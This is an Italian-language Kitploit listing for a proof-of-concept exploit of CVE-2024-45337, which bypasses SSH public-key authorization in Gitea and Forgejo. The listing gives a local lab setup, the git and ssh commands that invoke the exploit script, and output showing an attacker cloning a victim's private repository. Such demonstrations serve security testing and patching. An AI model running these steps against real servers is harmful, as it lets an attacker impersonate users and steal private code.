Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-45337 — Prova di concetto per CVE-2024-45337 contro Gitea e Forgejo | Kitploit
Strumenti/GitHubGitHub/peace-maker/cve-2024-45337
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingAutenticazione
GitHubpeace-maker/cve-2024-45337

CVE-2024-45337

Prova di concetto per CVE-2024-45337 contro Gitea e Forgejo

Vedi Repository
11 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Proof of Concept exploit per CVE-2024-45337

Questa repository contiene un exploit proof of concept per CVE-2024-45337. Può essere utilizzato per incapsulare ssh quando si interagisce con un server SSH implementato usando golang.org/x/crypto <= v0.30.0, che memorizza le autorizzazioni in modo non sicuro nella callback ServerConfig.PublicKeyCallback.

Gitea <= 1.22.4 e Forgejo <= 7.0.11, 9.0.2 sono vulnerabili quando ospitati tramite il server SSH interno. Puoi impersonare qualsiasi utente purché tu conosca una qualsiasi delle chiavi pubbliche associate al suo account. Devi avere un account personale da usare per l'autenticazione SSH.

Esegui il PoC

  1. Avvia un'istanza vulnerabile di forgejo o gitea. Le immagini Docker di Gitea non sono vulnerabili, quindi dovrai eseguirla utilizzando un binario nativo.
root@kitploit:~
docker compose -f docker-compose.forgejo.yml up -d
  1. Installa, cambiando la porta SSH in 22, su http://localhost:3000
  2. Registra un utente victim
    1. Aggiungi la chiave pubblica della vittima all'account su http://localhost:3000/user/settings/keys
    2. Crea una repository privata chiamata important_repo e genera un commit iniziale con un README in modo da avere qualcosa da clonare
  3. Registra un utente attacker
    1. Aggiungi la chiave pubblica dell'attaccante all'account su http://localhost:3000/user/settings/keys
  4. Clona la repository utilizzando l'account dell'attaccante
    1. Imposta GIT_ATTACK_PRIVKEY sul percorso della chiave privata di un account valido
    2. Imposta GIT_ATTACK_PUBKEY sul percorso della chiave pubblica nota dell'altro account target. Non conosciamo la chiave privata per quell'account.
    3. Imposta GIT_SSH sul percorso dello script exploit per indicare a git di usarlo al posto del comando ssh nativo
root@kitploit:~
GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git

Dimostrazione

Usa .ssh/config per specificare le chiavi durante la clonazione

root@kitploit:~
Host sshvictim
 Hostname localhost
 Port 222
 User git
 IdentityFile /path/to/id_ed25519_victim
 IdentitiesOnly yes
Host sshattacker
 Hostname localhost
 Port 222
 User git
 IdentityFile /path/to/id_ed25519_attacker
 IdentitiesOnly yes

Esegui contro un container locale di Forgejo 7.0.11 configurato come sopra.

root@kitploit:~
$ ssh-keygen -t ed25519 -f id_ed25519_victim
$ ssh-keygen -t ed25519 -f id_ed25519_attacker
$ git clone sshattacker:victim/important_repo.git
Cloning into 'important_repo'...
Forgejo: User: 2:attacker with Key: 2:attacker is not authorized to read victim/important_repo.
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
$ git clone sshvictim:victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.

# Delete private key of victim for demo purposes
$ rm -rf important_repo id_ed25519_victim
$ GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
Scarica lo strumento